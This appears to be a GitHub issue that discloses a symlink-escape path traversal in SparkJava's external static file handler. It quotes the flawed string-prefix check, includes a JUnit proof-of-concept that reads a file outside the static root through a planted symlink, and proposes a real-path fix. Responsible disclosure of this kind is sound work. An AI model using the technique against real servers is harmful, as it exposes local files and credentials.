Skip to content

SparkJava External Static Files Symlink Escape Allows Local File Read Outside Static Root #1296

Description

@naixiao

SparkJava External Static Files Symlink Escape Allows Local File Read Outside Static Root

Summary

SparkJava's external static file handler enforces its static-root boundary with a string-prefix check on the requested path, but it does not resolve the final real path before opening the file. If a symbolic link exists inside the configured external static directory and points to a file outside that directory, SparkJava follows the link and serves the target file.

This was confirmed locally against current master (2.9.4-SNAPSHOT, commit 1973e40). The same relevant implementation pattern is present in the latest released tag 2.9.3.

Product

  • Project: SparkJava / Spark Framework
  • Repository: https://github.com/perwendel/spark
  • Package: com.sparkjava:spark-core
  • Component: external static file handling
  • Confirmed affected versions: 2.9.4-SNAPSHOT on current master, 2.9.3
  • Vulnerability type: CWE-22 Path Traversal / Symlink Following / Arbitrary Local File Read

Impact

An attacker who can create or influence a symbolic link inside a directory served through staticFiles.externalLocation(...) can make SparkJava disclose arbitrary local files readable by the Java process. Typical exposure patterns include applications that serve user-controlled extracted archives, build artifacts, generated documentation, or upload directories as external static files.

This is not a claim that every SparkJava static deployment is remotely exploitable. Exploitation requires an attacker-controlled symlink or equivalent filesystem state under the configured external static root.

Source Evidence

ExternalResourceHandler canonicalizes the HTTP path and joins it with the configured external static root:

  • src/main/java/spark/resource/ExternalResourceHandler.java:66
  • src/main/java/spark/resource/ExternalResourceHandler.java:68
  • src/main/java/spark/resource/ExternalResourceHandler.java:70
path = UriPath.canonical(path);
final String addedPath = addPaths(baseResource, path);
ExternalResource resource = new ExternalResource(addedPath);

Before returning the resource, it invokes the directory traversal guard:

  • src/main/java/spark/resource/ExternalResourceHandler.java:81
  • src/main/java/spark/resource/ExternalResourceHandler.java:82
if (resource != null && resource.exists()) {
    DirectoryTraversal.protectAgainstForExternal(resource.getPath(), baseResource);
    return resource;
}

The guard only compares normalized strings and does not call toRealPath(), getCanonicalFile(), or reject symbolic links:

  • src/main/java/spark/staticfiles/DirectoryTraversal.java:18
  • src/main/java/spark/staticfiles/DirectoryTraversal.java:26
  • src/main/java/spark/staticfiles/DirectoryTraversal.java:30
  • src/main/java/spark/staticfiles/DirectoryTraversal.java:33
public static void protectAgainstForExternal(String path, String externalFolder) {
    String unixLikeFolder = unixifyPath(externalFolder);
    String nixLikePath = unixifyPath(path);
    if (!isPathWithinFolder(nixLikePath, unixLikeFolder)) {
        throw new DirectoryTraversalDetection("external");
    }
}

private static String unixifyPath(String path) {
    return Paths.get(path).toAbsolutePath().toString().replace("\\", "/");
}

private static boolean isPathWithinFolder(String path, String folder) {
    String rlatsPath = removeLeadingAndTrailingSlashesFrom(path);
    String rlatsFolder = removeLeadingAndTrailingSlashesFrom(folder);
    return rlatsPath.startsWith(rlatsFolder);
}

ExternalResource then opens the file path with FileInputStream, which follows symbolic links on normal filesystems:

  • src/main/java/spark/resource/ExternalResource.java:39
  • src/main/java/spark/resource/ExternalResource.java:66
file = new File(StringUtils.cleanPath(path));

public InputStream getInputStream() throws IOException {
    return new FileInputStream(file);
}

Local Reproduction

The following JUnit PoC was added locally:

C:\Users\Admin\Desktop\submit-p\_foreign_cve_repos\spark\src\test\java\spark\staticfiles\StaticFilesSymlinkEscapeTest.java

package spark.staticfiles;

import org.junit.Assume;
import org.junit.Test;
import spark.resource.AbstractFileResolvingResource;
import spark.resource.ExternalResourceHandler;

import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;

import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;

public class StaticFilesSymlinkEscapeTest {

    @Test
    public void externalStaticFilesFollowSymlinkOutsideRoot() throws Exception {
        Path root = Files.createTempDirectory("spark-static-root");
        Path outside = Files.createTempDirectory("spark-static-outside");
        Path secret = Files.write(outside.resolve("secret.txt"), "spark-symlink-escape".getBytes(StandardCharsets.UTF_8));
        Path link = root.resolve("link.txt");
        try {
            Files.createSymbolicLink(link, secret);
        } catch (UnsupportedOperationException | SecurityException e) {
            Assume.assumeNoException(e);
        }

        TestExternalResourceHandler handler = new TestExternalResourceHandler(root.toString());
        AbstractFileResolvingResource resource = handler.resolve("/link.txt");

        assertNotNull(resource);
        assertTrue(resource.isReadable());
        assertTrue(new String(resource.getInputStream().readAllBytes(), StandardCharsets.UTF_8)
                .contains("spark-symlink-escape"));
    }

    private static class TestExternalResourceHandler extends ExternalResourceHandler {
        private TestExternalResourceHandler(String baseResource) {
            super(baseResource);
        }

        private AbstractFileResolvingResource resolve(String path) throws Exception {
            return getResource(path);
        }
    }
}

Run:

cd C:\Users\Admin\Desktop\submit-p\_foreign_cve_repos\spark
mvn -q "-Dtest=spark.staticfiles.StaticFilesSymlinkEscapeTest" "-Denforcer.skip=true" test

Observed result:

Tests run successfully
Image

The test creates:

  • an external static root directory;
  • a separate outside directory containing secret.txt;
  • a symbolic link inside the static root named link.txt pointing to secret.txt;
  • a request-equivalent lookup of /link.txt.

SparkJava returns a readable resource and the file contents contain spark-symlink-escape, proving that the static-root boundary is bypassed through the symlink.

Duplicate Check

Searches performed on 2026-06-17 did not identify an existing public issue, CVE, or GHSA for this specific SparkJava symlink-following escape:

  • Spark Java static files symlink path traversal CVE
  • sparkjava ExternalResourceHandler symlink traversal
  • sparkjava static files symlink arbitrary file read
  • site:github.com/perwendel/spark symlink static files traversal

Related but distinct prior issues:

  • 2016 Full Disclosure report for classic ..\ static-file traversal in SparkJava.
  • CVE-2018-9159 / GHSA-76qr-mmh8-cp8f, which concerns unintended static-file reads via path traversal and file:/relative path representations before the 2.7.2 fix.

The current finding differs because normal dot-dot traversal is blocked, while symlink resolution remains outside the string-based boundary check in current code.

Recommended Fix

Resolve and validate the real path of both the configured static root and requested resource before serving:

Path root = Paths.get(baseResource).toRealPath();
Path candidate = Paths.get(resource.getPath()).toRealPath();
if (!candidate.startsWith(root)) {
    throw new DirectoryTraversalDetection("external");
}

If following symlinks is not desired, reject Files.isSymbolicLink(...) for every path component or use a secure path-walk that validates each segment. Add regression tests where a symlink under the static root points to a readable file outside the root.

Notes

This report only covers staticFiles.externalLocation(...) style filesystem static serving. It does not claim a bypass of SparkJava's current ../, ..\, or file: traversal fixes.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions